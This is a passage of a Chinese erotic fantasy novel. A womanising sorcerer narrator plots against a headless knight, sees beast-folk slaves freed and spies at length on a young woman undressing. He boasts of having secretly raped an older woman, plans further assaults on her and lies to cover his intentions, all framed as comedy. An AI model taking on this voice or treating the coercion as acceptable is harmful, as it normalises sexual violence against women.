「哇!師父真是了不起,為了打倒無頭騎士,護佑萬民,居然這樣子犧牲自己,真是太偉大了。」
如果這話由別人口中說出,那一定是超惡毒的諷刺,但出自阿雪之口,則是衷心讚歎,像是小孩子聽見英雄事跡般,眼中閃爍著崇拜,不只我臉上發赤,就連白瀾熊都「噗」的一聲,把嘴裡的熱茶給噴了出來。
「喂,老白,沒事不要亂噴茶葉,就算不怕浪費,噴到了人也不好啊。」
「對、對不起……」
阿雪是毫不懷疑地相信,白瀾熊是壓根就不相信,而在這兩者之間,也還有中間分子的存在,那就是將信將疑的羽虹。
「你去感應無頭騎士的思想波?這說得過去,但是……為什麼你是赤身裸體的?」
「呃,太高段的魔法,我也不曉得該怎麼向你做說明,總之,外行人是不會懂的。」
說多錯多,我用這樣的理由打混過去,跟著說起了我「夢」見的東西,用實話來替謊話做遮掩。
一番話說完,在場人們都露出驚訝或深思的表情。五百年前的世界,對於現在的人來說,那是全然未知的東西,儘管是真是的史事,但聽說「暗之神宮」、「佛尼厄魔堡」這些名詞,就像在聽武俠小說一樣的感覺。
在我敘述的東西裡頭,白瀾熊和羽虹都對那個少年起了疑心,但我說完之後,他們不約而同地發出驚呼。
「法、法米特?就是那個史上最好色的魔法師?」
「法米特·修·卡穆?真的是他?」
也難怪白瀾熊和羽虹會吃驚,連我剛知道答案的時候,都驚訝得說不出話來,那個叱詫風雲,日後無敵於整個大地的天才魔法師,未成名時期居然是這麼地不起眼。
「這個……我年輕的時候稍微有聽過……」
萬獸尊者見多識廣,年少時闖蕩江湖,聽過五百年前戰國時代的故事,道:「法米特·修·卡穆,傳說是某國王室的私生子,本人的樣子……不像是那種光芒四射、惹人注目的天才人物,反而像是一個初出茅廬的魔法小學徒,看上去很不起眼,想要找他比試、報仇的人,經常因此搞錯了對象。」
這種說法我可從沒聽過,但記得無頭騎士說過,法米特當年總是自稱小術士,也許這又是一個能力與興趣產生高度誤差的例子,真是扼腕。
可惜,我的「夢」做得不長,充其量只能算是夏洛堤童年到少年的回憶,缺少了他藝成之後,真正縱橫天下時的記憶,若是拿來寫傳奇故事,那倒是不錯,但要用來對敵,卻是全然無用。
我不知道無頭騎士的絕招,不知道它的弱點,哪怕是想要對付它,也不知道該如何著手,要是這場夢能做得更久一點,我應該可以多得些重要情報,偏偏時不我予,真是可惜可歎。
從魔法的理論上說來,無頭騎士刺我的那一擊,或許在我體內留下了什麼,所以才會引發這些奇怪的夢境,假若真是如此,這些能量波應該還可以維持上幾天,要是我找到了方法,這樣的夢或許還可以多做幾次。
(媽的,做愛是很容易,作夢可就難了,我是做愛專家,又不是作夢專家,這下子可該怎麼辦呢?)
我甚感頭痛,這個問題眼下沒有別人可以幫忙,看來又落在我的肩上,真是麻煩得很,為什麼就不能只把好事留給我,麻煩事扔給別人呢?
想想頭又痛了,我環顧周圍,白牡丹與未來並不在,未來也許是躲在某處,至於白牡丹……應該是躲起來不敢見我,這個臭婊子如此整我,後頭我一定要用力回報,倘若不好好幹她幾次,搞得她屁滾尿流,那我這一次的糞坑之辱就真是白受了。
把手邊的問題稍作處理後,我們預備要開始趕路,前進巴格達。本來我們的行程可以更快,但因為娜西莎絲與萬獸尊者的協議,我們稍微放慢了腳步,等待伊斯塔交付「頭期款」以表示誠意。
伊斯塔承諾解放境內的獸人奴隸,用來作為爭取萬獸尊者協助的報酬,就獸人這邊而言,當然不可能等到無頭騎士被消滅了,才讓伊斯塔實現約定,否則天曉得萬獸尊者若陣亡,伊斯塔人還會否信守承諾?
為了表現出雙方的誠意,「頭期款」這個東西就很重要了,伊斯塔先釋放部分的獸人奴隸,提供他們衣物與糧食,讓這些獸人奴隸緩緩從各地的工廠離開,到預定的港口集合,先把他們釋放回去。
「要離開伊斯塔,是預備從水路走啊?」
我問白瀾熊,他聳聳肩,道:「水路繞得比較遠,可是相對上要安全許多,從陸路走……嘿嘿,會有很多不必要的麻煩。」
伊斯塔到南蠻去,若從陸路,有兩個方法,一個是取道阿里布達,幾乎是直直地橫越阿里布達大半國土;一是由索藍西亞繞道,穿過金雀花聯邦,再穿過矮人之國羅塞塔,等若是快要環遊大地,繞上大半圈,這才能回歸家鄉。
若是從前,這種事情絕對沒有可能,但如今有國際聯盟的存在,國際聯盟又極力爭取獸人加入,當可協助斡旋,讓幾個大國讓出路來,供獸人們通行。不過,看白瀾熊的態度,大概是根本信不過人類與精靈,所以寧願大費周章地走海路,也不想從陸上走。
「但要說從海上走,老白,你們打的是什麼主意?」
「換做是以前,我們也不敢動這個念頭,不過現在黑龍會已滅,海面上一片平靜,走水路比穿越人類和精靈的地盤要安全。」
白瀾熊笑道:「而且,這次與以往不同,有你這張大面子,李提督怎樣都該給我們幾分禮遇吧?」
「他媽的,果然是在打我的主意。」
「別這麼說嘛,現在你是尊者的孫子,李提督是你的馬子,子來又子去,算來大家都是一家人,魚幫水,水幫魚,這樣說也沒什麼錯啊。」
白瀾熊說得也沒有錯,事實上,自從知道萬獸尊者是我外公之後,我開始感到後悔,不該請動他來參與這危險的一仗。伊斯塔百姓的生生死死,關我什麼事?就為了這些莫名奇妙的人,要讓外公出去打生打死,冒著生命危險?
無頭騎士並不是一般的敵手,實力應該猶勝五大最強者,萬獸尊者與它一戰,後果難料。萬獸尊者的武功雖強,終究是年事已高,要是在決戰的時候有什麼閃失,後果可是會令我終生遺憾的。
現在後悔也沒什麼用,唯有一切小心行事,希望不要讓萬獸尊者受到什麼傷害,也因為如此,我得要點醒白瀾熊。
「嘿,老白,李華梅是我朋友,不是我的性奴隸,你計算歸計算,可別計算得一切十拿九穩,東海雖然遼闊,但陰溝裡頭也是會翻船的。」
「不會吧,你與她……」
白瀾熊不是笨蛋,被我這麼一點,馬上恍然大悟,想要說些什麼,被我一手拍在肩上,沒讓他說出來。
李華梅大體上是個重道義、念舊情的人,但她也是一個領袖,必須把團體利益放在自己的好惡之上,最近她正試圖拉攏伊斯塔,這可以視為東海反抗軍的整體方向,如果倒過來幫助獸人,伊斯塔勢必對她大大地不滿,這之間的取捨,我可沒把握她會怎麼選擇。
在與白瀾熊談話之餘,我也看到了那些剛從附近礦場被解放的獸人奴隸,瞧起來,確實是一副狼狽落魄的慘模樣,這些獸人被關得太久了,又是在礦場那種惡劣環境,不比尋常的家奴工作輕鬆,看起來每個都眼神呆滯,似乎很不習慣沒有手鐐腳銬的生活。
從眼神看來,這些獸人搞不好都有精神病,畢竟被奴役得太久了,就算精神失常,那也不是什麼奇怪的事,我看被釋放的獸人奴隸裡頭,各種殘疾人士恐怕就佔了大半。
我搖頭道:「盡塞一些殘廢過來,這樣也能算是釋放嗎?伊斯塔人可還真是有良心啊。」
白瀾熊道:「無妨,即使是殘障,也還是我們的同胞,應該要好好照顧,再說,先把殘障老弱送走,到時候有什麼意外,剩下的也比較好跑。」
這一番話讓我知道,白瀾熊對將發生的一切並非毫無準備,這還真是一件讓我心安的好事。
不過,一個消息也在此時傳來,儘管非常重要,影響也重大,但卻與我們沒有什麼關係,這種莫名奇妙的狀況還真是難得一見。
伊斯塔國王侯賽因駕崩!
◆ 第三話:蕾絲花邊.肉感絲襪
要把大批獸人奴隸給運離伊斯塔,這不是一件容易的事,特別是走水路回南蠻,需要大批船隻與補給,這些事情都需要妥善的規劃,不是倉促間辦得成的。
「你們只想到組織敢死隊,進入伊斯塔大破壞,逼他們釋放獸人奴隸,就沒有想到怎麼把獸人奴隸帶回去?」
「嘿,這個……那時候哪能想這麼多,只想說要是能逼伊斯塔人答應了,剩下的事以後再說。」
白瀾熊聳聳肩,他所說的難處我也可以接受,嚴格說來,獸人們的這個敢死隊,最後可以說是完全無用。本來的計劃,獸人敢死隊進入伊斯塔進行恐怖活動,又或是擒獲伊斯塔的重要人物,用以要挾伊斯塔釋放獸人奴隸。
這計劃聽起來就知道成功性很低,唯一的實現可能,就只有依仗萬獸尊者的超強武力,爭取奇跡的出現。
哪知道,天不佑伊斯塔,突然蹦出個無頭騎士,在國內又鬧又殺,搞到伊斯塔面臨建國以來最嚴重的危機,結果敢死隊什麼也不必做,伊斯塔已經殘破不堪,什麼破壞活動都給無頭騎士做完了,而伊斯塔也被迫解放奴隸,用以爭取萬獸尊者的協助。
我曾擔心過,釋放獸人奴隸是巫神學會一派的大力促成,皇室派未必會答應,但適逢伊斯塔國王侯賽因駕崩,皇室派現在也亂成一團,短時間內應該無法再來干涉,正是白瀾熊他們行事的最佳時機。
「……所以,人生的變化總是比計劃多啊。」
我這麼對白瀾熊感歎著,他自然聽得出我的弦外之音,搖頭道:「話雖如此,該怎麼做就怎麼做,儘管變化多,但人不能失去方向啊,你搞白牡丹,這種事情無異搬石頭砸腳……」
「有能力的人總會化危機為轉機,搬石頭砸腳也不見得是一定痛的……」
這話是有點強辯了,不過我確實是相信,這世上沒有辦不成的事,只有辦不成功的方法,只要用對了方法,怎麼樣困難的事情都辦得成。
我偷奸白牡丹的事情,因為白牡丹沒有洩露,所以目前霓虹還不知道,省掉我很多麻煩,而白牡丹則是被我嚇到,後來一直在躲我。
(嘿,到了嘴邊的肉,你還以為自己跑得掉嗎?躲什麼躲,等我有機會,再也慢慢炮製你……)
被我盯上的女人,怎麼可能讓她跑掉?白牡丹如果要逃脫,那只有立即離開,躲我躲得遠遠,這樣子才有可能。然而,霓虹都在這裡,白牡丹放不下這一對寶貝女兒,當然也不可能在這時候跑開,那就注定要成為我的嘴邊肉了。
本來我該把注意力放在白牡丹身上,專心處理這個美艷的熟女,可是一個意外事件,卻讓我有了新的想法。
回到驛館時,阿雪告訴我,羽虹好像有事情在找我,請我回來後立即去一趟,我覺得很訝異,不曉得羽虹找我是為什麼,急急忙忙趕去,到了門口,發現羽虹的房門半開,我本想敲個門,但聽到裡頭傳來衣衫摩擦的聲響,心頭一動,連忙悄聲靠近過去。
俏麗的羽虹美少女背對著房門,正要換衣服。羽虹輕輕脫下火紅的武道袍服,裸露光滑的背部上,雪白胸罩跟底下內褲是成套的,彷彿在享受脫衣的過程一樣,慢慢地解開雪白胸罩後的絆扣。
這種視覺上的刺激,很快就讓我的肉體有了反應,羽虹可能不知道這種姿勢對男人有多刺激,要不然,也不會這樣無防備地更衣。
偷看年輕少女更衣,最刺激的一個部分,就是看內衣漸漸離開身體的畫面。在我滿心的期待中,那件雪白可愛三角褲終於出現在我眼前,又窄又小的可愛三角褲穿在羽虹身上,完全把美臀的渾圓挺翹給突顯出來。
羽虹雙手繞到背後,解開胸罩掛鉤,我從後面看到一雙小巧的鴿乳頂開胸罩,輕輕搖晃著;熟練地脫掉胸罩後,往旁邊扔擲在床上,接著,手伸摸向臀部,輕輕拍著自己三角褲內的肉丘。
羽虹很自然地在鏡子面前轉一圈,一雙眼睛盯著鏡子,似乎很欣賞自己在鏡中的艷姿。
這也難怪,少女更衣的美妙姿態,對我有強大的誘惑力,明明羽虹的肉體我都不曉得玩了多少遍,但是現在這麼一看,還是覺得羽虹全裸的身體好美好美,差一點就直衝過去抱她,好不容易才忍住。
(奇怪?羽虹的耳力不差,都已經這麼久了,難道她還沒發現我在偷看?這不太對啊,如果我已經發現了,難道……是故意脫給我看的?)
我心中好奇,就見到羽虹彎下腰,屁股翹起,在衣櫃裡拿出一雙有花紋的絲襪和無肩式胸罩,就坐到床上,穿好胸罩後,腳尖伸進絲襪裡,拉到腰際,手伸進去左右調整,不久之後,少女赤裸的青春胴體,就因為這樣一雙絲襪更顯得妖艷。
白色的小內褲就貼在絲襪後面,我睜大了眼仔細看,彷彿透過一層絲襪,可以看到少女那迷人的肉縫。
整個畫面看來非常性感,羽虹就坐在床上,調整著絲襪,整雙動人的腿部都露了出來,她左摸模、右調調,擺出種種火辣的動人姿態。
我看得興奮,正擺弄雙腿的羽族美少女突然開口,「好看嗎?這樣子你覺得好不好看?」
「很、很好看……」除了這麼說,我還真不知道能說什麼。
現在這種情形,我也不用再多說什麼,直接推門進去,還順手把門鎖上。
用這樣的手法挑逗我,不合羽虹的個性,我想她該是有什麼話想對我說。不過,明知如此,這一幕還是對我有很大的吸引力,羽族美少女的雙腿,天生就是穿絲襪、高跟鞋最好的模特兒,更別說是羽虹這樣的絕色了。當我走進房中,羽虹從床上站了起來,婀娜多姿地走向房內一角,絲襪很能突顯腿部的線條美,她走動的時候姿勢又十分誇張,美腿修長畢挺,臀部擺動的幅度很大,小蠻腰除了性感還是性感,那種雙腿比例是最美的人體標準。
羽虹走到我對面的椅子上坐下,叉開大腿,無視於我那快要凸出的眼珠,毫不在意地展露那性感到爆的一雙絲襪美腿。
「怎麼樣?好看嗎?」
羽虹對自己的美腿充滿自信,說話時還擺出煽情的動作,有時還索性把腰一挺,讓我一覽她火辣辣的美腿。她大腿不停摩擦的樣子,好像在暗示她正慾火中燒,飢渴待解,而絲襪緊貼在那雙充滿彈性的腿上,發出嘶嘶聲;一雙會說話的動人大眼,則是穿透紊亂髮絲,幽怨地看著我,白皙的藕臂交叉環在那對鴿乳下極盡嫵媚。
「確實好看,只有你們羽族的女人,才能把絲襪穿得這麼美麗,我不曉得自己還可以說什麼。」
我一面說,一面不自禁地盯著羽虹的下身來看,那神秘的三角地帶,只用一塊小得不能再小的白色小布蓋著,這種代表可愛風的白色內褲,穿在羽虹的身上,讓人感受到少女的青春活力,和絲襪所帶來的性感風,揉合成一番奇異魅力。
羽虹穿絲襪的模樣無比誘人,看她擺出了那麼撩人的姿勢,我差點就克制不住,撲過去捧著她的腳猛親。
雖然我壓下了這股慾望,但臉上還是顯露出異狀,羽虹彷彿看穿我的心思,側躺在長椅上,擺出一個極為嫵媚的動人姿勢,在絲襪覆蓋下每一寸肌膚都滑膩白皙,每一條曲線都散發無限誘惑。
「怎麼了?你今天好奇怪喔,怎麼到現在都還沒有撲過來呢?當主人不像當主人的,是不是已經不行了呢?」
「這……這個嘛……」
我支支吾吾地說不出來,目不轉睛地死瞪著她一雙腿,心裡則是在破口大罵,真要說是奇怪,羽虹現在的表現才真是奇怪,但她的目的為何,我心裡也大致有數。
「要上的話,還不上來?我都已經在這裡等你了,你還在等什麼?」
「你該不是想說,把我絆在這裡,每天和你搞上幾次,就沒有多餘精力去搞別的女人,你的白阿姨就不會被色狼侵犯了吧?」我道:「不用擔心,我說過不會動你的白姨,你可以放心……」
這些話自然是百分百的謊話,我自認說得不差,但羽虹實在太過熟悉我,這幾句話一說,她不曉得是什麼地方聽出了不對,臉色陡然一變,左手一翻,掀起了一條大毛巾,把半裸的身體遮住,破窗飛了出去。
「喂!你跑哪去啊?」
我追到窗口,看著她消失的身影,高聲叫道:「別跑啊!回來,快點回來啊!你跑了,那我在這裡一個人要怎麼辦啊!」
這真是最慘的狀況,被美少女挑逗得下身硬挺,只想要摟個青春胴體大幹一場,但性感的美腿美少女卻飛上天,這下子要我一個人怎麼辦呢?總不能就在這裡自己搞自己吧?
剎那間,我明白了羽虹的打算,這還真是很惡毒的報復方法。跟了我一段時間,羽虹摸透了我的個性,曉得和我怎麼說都沒用,所以活了出去,轉變方法,用她自己的魅力來吸引我,讓我不再把眼神飄向別的目標。
(真行啊,這方法確實是摸準了我的個性,羽虹不是太笨嘛?)
貪圖美色,則是法雷爾一族根深蒂固的遺傳,一旦遇到中意的女人,就會衝冠一怒為紅顏,什麼東西都不顧了。相較起我的祖上,其實我已經算是很有理智、很冷靜的人了,最起碼,我還懂得利害關係,會為了別的顧忌而壓制慾望。
當然,這樣的法雷爾家族,也會出現例外,那就是我的變態老爸,不過,我一直懷疑,變態老爸並不是不好美色,只不過青菜蘿蔔各人所好,也許變態老爸眼中的「美色」異於常人,這也說不一定,若是他看到活的美人毫無反應,見到裸體艷屍就勃起扯旗,這種好色法別人又怎麼會知道?
(這麼說來,我其實是法雷爾家族中最沒用的,祖先們好色起來不顧一切,是因為它們修練玄武真功,天下無敵,沒有什麼他們不敢做的。要是我也有這種實力,今天哪來的顧忌,什麼伊斯塔妖女、神醫,我要上就上,爽起來就是一起都上了,又有何人能把我怎樣?)
就是因為沒有祖先的蓋世神功,我只能用迂迴的手段,使盡奸狡卑鄙的方法,來獲得女性的身心,羽虹曾經身遭其害,所以清楚除非是殺了我,否則哪怕是打斷我雙手雙腳,都不能阻止我得到中意目標的決心。
硬的不成,可以來軟的,羽虹也明白,她對我仍有很大的吸引力,要不然,我與她的性交頻率,不會高過與她相同面目的羽霓,察覺到這點的羽虹,決意善用本身優勢,對我使出性感攻擊,一次不成,兩次不成,但多次的刺激累積之後,我可能一看到她就鼻血狂噴,哪還顧得上什麼白牡丹?
「真是好歹毒的計策,這個女人……太毒了,太毒了……呃,我下面為什麼還是硬的?不可以硬!給我縮回去,怎麼可以被一個女人這樣擺佈?」
身體反應不能自制,這還真是一件很糗的事,不過,姑且別把事情想得太糟糕,只要把這當成是羽虹對我的一種挑戰,那我就很樂意接戰了。
特別是,羽虹並不知道,我已經上過了白牡丹,這場戰爭無論怎樣進行,她一開始就已經大敗虧輸了。
(嘿嘿嘿,比起無頭騎士,我還是比較願意戰羽虹啊!要不要乾脆讓羽霓也幫她一把,這樣子的誘惑力就真是……唉呀!怎麼又硬起來了,罪過,罪過。)
◇◇◇
「其實有一件事情我忘記告訴你……」
白瀾熊道:「尊者以前聽說外界的美貌女子,以四大天女為首,那時鳳凰天女失蹤,冬雪天女出海遊學,李元帥又不是說動就動的,所以……」
我皺起眉頭,聽出了白瀾熊的弦外之音,「我外公要你去綁架月櫻女士?」
白瀾熊聳聳肩,笑道:「嘿,別說得那麼難聽,尊者只是下令,無論我們用任何手段,都要將月櫻女士請到獸神峰上,其餘的倒是沒說。」
萬獸尊者的性情我豈會不知,獸人們的辦事手段我更是熟悉,若此事成真,那肯定是用強行綁架的方法,而月櫻到了獸神峰上,萬獸尊者見了她,兩個人總不會坐在那裡喝茶、吃餅乾,或是縫鞋繡花吧?依照往例來推測,月櫻身上只要還有一塊好肉,能活著下獸神峰,就已經是千幸萬幸了。
「老白,我欠你一個人情,很大的人情。」
我拍了拍白瀾熊,知道這也是當初他招惹萬獸尊者震怒的罪名之一。萬獸尊者命他不顧一切將月櫻弄來,他知道月櫻與我的關係特殊,所以接到命令時,定是故意拖延,不肯執行命令,後來雅蘭迦上獸神峰告發他,這自然也成為他與我勾結的證明。
之前白瀾熊請我出面幫忙解放獸人奴隸,如果說出這椿大人情,我一定會覺得很為難,但他隻字不提,卻是在事情過了以後,才以閒聊的口氣把此事說出,足見光明磊落,我臉皮再厚,也不得不承認受了他一件大人情。
人情不是嘴巴上說說就算了,以後勢必要還,白瀾熊智勇雙全,連他都會覺得麻煩的事,一定是很麻煩,這個人情可不易還啊。
同樣替我帶來麻煩的人,還有一個,那便是心急如焚的娜西莎絲。
我和羽族都算外來分子,伊斯塔國王死就死,與我們沒有什麼關係,總不會莫名其妙要把王位傳給我們?
但對娜西莎絲而言,這件事就比天塌下來差不了多少,假如伊斯塔現在不是正逢多事之秋,無頭騎士鬧得天翻地覆,那麼國王一死,光是繼位問題,就會讓皇室派與巫神學會再掀起一場腥風血雨了。
「這麼了?你臉色好難看,我記得同意解放獸人奴隸的承諾,是侯賽因國王承認的……當然啦,他當時好像已經傷重,不省人事了,但那紙聲明到底是用他的名字所發。」我笑道:「他現在死了,你該不會是要告訴我,現在你們不認帳了吧?」
「哪的話,要是我現在說不認賬了,別說無頭騎士的麻煩解不了,就是獸人們的翻臉算帳,我也不是對手啊,又不是誰都像你一樣,有那麼多的最強者在背後作後盾。」
娜西莎絲的嘲弄,我想了一想,還真是這樣沒錯,我那變態老爸、宅男外公、死鬼師父,都與我非親即故,至於剩下的兩位,有一位我死也不想與她有關係,而李華梅是與我一張被子合著蓋,要說是我家人也沒錯,屈指算一算,當世五大最強者之中,有四位與我關係深厚,還真是羨煞了旁人。
(奇怪,五大最強者幾乎都是我的人,這件事知道的人也不少,那為什麼我還會常常被追殺呢?唉,做人真是不容易啊……)
我搖搖頭,撇開這問題不想,仔細聆聽娜西莎絲為我帶來的消息。開啟境界隧道的大祭壇,已經在迅速建設中,地點就在巴格達近郊,巫神學會調度大批人馬,全力趕工。
娜西莎絲拿著整個祭壇的藍圖來見我,與我共同商議,看看有沒有聲明不足之處。
「有沒有搞錯?這麼高深的東西,你身邊一堆大法師、大靈巫的不問,跑來問我這個小術士?我不懂這些的。」
「那些大法師什麼的,修的全都是黑魔法,他們會的我也全都會,不必再問他們什麼,如果真的要說有誰的建議具有參考價值,那就是你,因為法米特的畢生所學,只有你一個人繼承,淫術魔法不在六大魔法系統內,你提出的建議,肯定是有些意義的。」
娜西莎絲露出了一個苦笑,雖是苦笑,但在她獨具魅力的臉上,卻別有一股美感,讓人心動。
「你也知道,這種究極魔法級數的東西,雖然理論方面完成了,卻從來沒有實際用過,誰知道第一次實用的結果會是什麼?那個小狐狸是你的心頭肉,事前多做點準備,就多安全點,你應該不會有意見吧?」
「你拿我家的狐狸去當白老鼠?他媽的要是出了事,我要你們給她當陪葬,全都陪無頭騎士下地獄去。」
我嘴裡說得誇大,心中卻不敢怠慢,仔細看著娜西莎絲拿來的藍圖。
伊斯塔的魔法技術實在是高明,那張藍圖一打開,立刻放開一個影像結界,出現了一個百分之一縮小比例的壇形建築物。
十二根粗大的石柱,環繞著中央的廣場,風格粗獷而簡單,廣場地上刻滿了複雜的符文與凹槽,當祭典正式施行,就會有特殊液體流過凹槽,顯現與地下符文不同的咒符,組成立體魔法陣,而且還不只一重,十二根巨石柱上都有奇形圖案,看似古老的魔法文學,字向朝天,估計組成的時候,連天空也在法咒的範圍內。
我仔細看著這個影像模型,認真地提出了意見。伊斯塔這個開啟境界隧道的大魔法,規模確實是很大,所牽動的能量之巨,非同小可,要是出了什麼差錯,後果可不只是單單開不了境界隧道而已,包括祭壇在內的方圓幾十里地,都可能被炸上天去,產生毀滅性的慘劇。
為了阿雪的安全,還有我自己的性命,我當然是很認真地研究每一個細節,在提出意見之餘,也暗自心驚,如果沒有阿雪這個身具特殊血統、命格的「正確鑰匙」存在,這種大規模的超複雜法陣根本沒可能成功。
在研究的過程中,一個念頭突然閃過我的腦海。
「等等,娜西莎絲,你知不知道死白眼這種東西?」
「唔,死白眼……別名死者之眼,這也是億萬中無一的特殊體質,冥府皇族的血裔特性,正常情況下,這種眼睛不可能出現在生物身上,除非是遺傳上的畸形異變,不過生存時間不會超過七個時辰……」
娜西莎絲見識不凡,是黑魔法的大行家,很快就道出了死白眼的典故,而我急著往下追問,想知道死白眼的用途所在。
「據說……真的只是據說啦,因為在伊斯塔史上,從來沒發現過具有死白眼的生物可供研究,我也不知道這些文獻是真是假。但若記載不錯,死白眼的異能,可以透視生者魂靈,拘魂鎖魄,魂夢殺人,更由於是冥皇的象徵,能夠施行數種獨特術法,所以在驅策死靈的效能上,有不可思議的效果。」
娜西莎絲道:「還有,死白眼是死者之眼,所以如果這種眼睛出現在生者的身上,就能做到死者所不能做到的事,突破陰陽兩界的障蔽,開啟門扉,引導現世界的無主孤魂往生,或是讓冥界的泣血怨魂解放到陽間。」
「等等……死白眼能開啟冥界與陽間的相連,換句話說,那不就是開啟境界通道了?」
被我一問,娜西莎絲很乾脆地點了點頭,道:「這方面的研究,本來就是伊斯塔的大方向之一,當初針對死白眼的研究失敗,無法打造出死白眼這把開啟冥界的鑰匙,後來隨著研究的技術進步,把死白眼的效果轉移到法陣結界上,用結界來發動,這個部分取得了成功,突破了之前的難關,可是呢……又需要別的特異體質,來發動這個結界,哈哈哈,這就好像打開了一個盒子,卻在盒子裡頭又發現新的小盒子一樣,就是因為要搞定各種特殊體質實在太麻煩,才會想要乾脆自己做的。」
從娜西莎絲口中說出的,是伊斯塔魔法師數百年來的辛苦歷程,不過,我在意的卻是另一件事,有一個之前很讓我困惑的東西,而阿雪所能發動的那個法陣,又是模擬死白眼的異能所成,那麼阿雪與無頭騎士就這麼被拉上關係了。
在伊斯塔傾舉國之力,圍殺無頭騎士的那一仗,我拚命發動了第四頭淫神獸「金銀蠶蟲」的異能,一擊失手,將阿雪給金屬化,凝封成一尊金像,若不是無頭騎士破空而過,一劍破去阿雪的金封,現在阿雪大概已經香銷玉殞了。
無頭騎士現在的所有行動,都是遵從黑巫天女的命令,所以,無頭騎士救了阿雪的那一劍,或許可以看成是黑巫天女的意思。
黑巫天女救阿雪,這種事情就像鬼魅夕救我一樣沒道理,但看似沒道理的事,背後往往有一個合理的解釋,我這些天怎麼想都想不出,現在卻豁然貫通了。
開啟境界隧道,是有可能消滅無頭騎士的一種戰術,黑巫天女出身伊斯塔,肯定會知道這一點,操縱著無頭騎士的她,此刻等若是天下無敵,自然不會傻得幫人毀去手中王牌,所以唯一的解釋,就是這個開啟境界隧道的魔法對黑巫天女大有用處,她的某些企圖,只能藉由這個究極魔法來達成。
要完成這個魔法,阿雪是不可或缺的關鍵,假若阿雪一死,伊斯塔就無法啟動結界,黑巫天女的野心也就成了泡影,所以明知道這麼做會露出破綻,黑巫天女卻是別無選擇,不得不去讓無頭騎士救阿雪。
「娜西莎絲,你……」
我開口欲言,卻轉起了另一個念頭。無論怎麼說,那可是究極級數的大魔法,就算黑巫天女想要利用它,但只要魔法運使中途出了上面差錯,隨時都會造成毀滅性的大傷害,假如設計得當,用來消滅無頭騎士,也不是上面不可能的事。
如果有這打算,那就先不忙著將此事告知娜西莎絲了。當務之急,反而是先設法讀取無頭騎士的記憶。
「娜西莎絲,這裡有一份清單,上頭所寫的東西,你立刻幫我弄來,越快越好。」
「嗯,這似乎都是提高靈感,幫助禪坐或睡夢參悟的魔法素材,你要這些做什麼?」
「我想要做一場火辣辣的春夢,在夢裡干遍天下美女,這麼說你相信嗎?」
娜西莎絲當然不會相信,可是被我這樣一點,她立即省悟,「你……你有什麼對付無頭騎士的新情報?不許隱瞞!」
「真是笑話,你們不是一天到晚利用我去冒險,然後在旁邊猛抄資料嗎?自己去找吧!」
話是這麼說,但我也知道娜西莎絲會拿我需要的東西來作要挾,所以沒待她開口,就搶先道:「無頭騎士的名字叫做夏洛堤,是拜月教的死白眼戰士!」
「什麼?」
◆ 第四話:平行線條.糾扯不清
夢,又再度開始了。
人生如夢,每個人的一生都像是一場幻夢,有些人的夢一閃即逝,有些人的夢漫長到令人只想醒來,也有些人的夢枯燥無趣,不知不覺間虛度一生……
我的一生,應該是與「枯燥無味」絕緣了,但也說不上多采多姿,因為我身邊世界的顏色,一直都是很單調。
最早,我的世界只有黑白兩色,但是到了我親上戰場之後,我的世界就只剩下紅色……血淋淋的紅色。
聽說,對一個普通人而言,一輩子要殺一千人,是一件很不容易的事,但我卻不知不覺超出了這個數目的十倍之多,這個數目……應該是很不平凡的吧。
風月曆六七九年八月,我,夏洛堤·酷西塔,剛剛過完十六歲的生日,也正是這一年的春天,我從拜月教的幕後走到台前,由凶名遠播的第一殺手,變成了所向披靡的頭號戰將,剛殺掉這一生所殺的第一萬零七人。
還記得擔任殺手,執行命令之初,我所負責刺殺的對象,都是一兩個高手,或是某個要人,但是亂世中的殺戮機會實在太多,漸漸地,上頭交代下來的命令,變成了消滅某個地方的小隊,全滅一支運輸隊伍,或是將目標連同滿門老小一同誅殺。
刀光血影,總是在我人生的各處角落中出現,這個血色之夢做得太長,我甚至已經記不得在我生命中是否曾有哪個片段,是沒有血腥味伴隨的。
親手殺掉一萬人是什麼感受?
曾有人這麼問我,那是一個即將嚥氣的垂死者,而他並不相信我的回答,儘管那是真話。一個自小就在學習殺戮的人,對於早已做慣的事,哪會有什麼感覺?不過就算例行公事,難道還需要為了殺個人而呼天搶地嗎?
我的人生中,從來就沒有太多的情緒起伏。不知道這是麻木,抑或是天性冷淡,我對身邊的一切都淡然處之,東條老師稱讚我說這是最好的殺手素質,只不過因為我的名聲太響亮,所以他決定將我調離殺手的職位,改任拜月教的戰將,率軍參戰,攻城掠地。
要說統軍,這非我所長,我不懂得什麼謀略或是計算,所會做的唯一一件事,就算揮舞著我的劍與斧,去摧毀我面前的每一個敵人,因此,我總是將所有的屬下都拋在身後,自己身先士卒,沖在陣前,殺入敵陣,直至我把身前的每一個敵人都消滅,將每一寸土地都染成血海為止。
彪炳戰功,就是在這樣的過程中建立,只不過,每當我回轉過頭,總是看到身後那些應該歸我管轄的部屬,不知何時,早已死光喪光,一個也沒剩下,而我成了敵我雙方唯一一個能站直的活人。
他率領的不該是活人,而是不死妖物的大軍,如此就不會有這些問題。」
拜月教中出現過這樣的聲音,似是譏嘲,但沒有人敢當著我的面說,反倒是東條老師對我讚賞有加。為了增添神秘感,給予敵人心理壓力,東條老師為我打造了一襲騎士甲冑,內裡有多重結界與符咒,能夠將黑暗系魔法的效果加成,配合特殊天時、地利,甚至有加強至一倍的可能,石破天驚,令敵人聞風喪膽。
還有一件難得令我歡喜的禮物,就是一匹比我還高大的駿馬,驃悍的黑色,通體沒有一絲雜毛,名叫「不怕死」。這個名字著實令我感到有趣,除了我自己之外,還真是沒有見過當真不怕死的生物。
「不怕死」與我合作良好,當我穿著甲冑,策騎著這匹大黑馬,奔馳在殘酷戰場上,劍斬成百頭顱時,所有敵人都嚇得屁滾尿流,爭先恐後地想從這場血腥之夢中醒來,從此,我和「不怕死」就成了慈航靜殿所有人的惡夢。
慈航靜殿的高手如雲,那邊的敵人都很強,但沒有強到令我恐懼的程度,真正令我煩惱的鬥爭,反倒是來於我們自己的那一方。
拜月教中七大祭司之間的明爭暗鬥,越來越激烈,父親酷西塔雖然沒有明確行動,但向我詢問東條老師想法與計劃的次數,卻是明顯增多了,也許再不用多久,我這一顆埋藏了十多年的秘密棋子就會派上用場,成為這場鬥爭的關鍵。
父親沒有名言,但卻已經暗示,要我留意東條老師的弱點。這並不是一件容易的事,身為拜月教七大祭司之首,東條老師的黑魔法不僅有通天徹地之能,本身更負上乘武技,一手妖刀神出鬼沒,只是因為見過的人幾乎無一生還,所以此事不為人知。
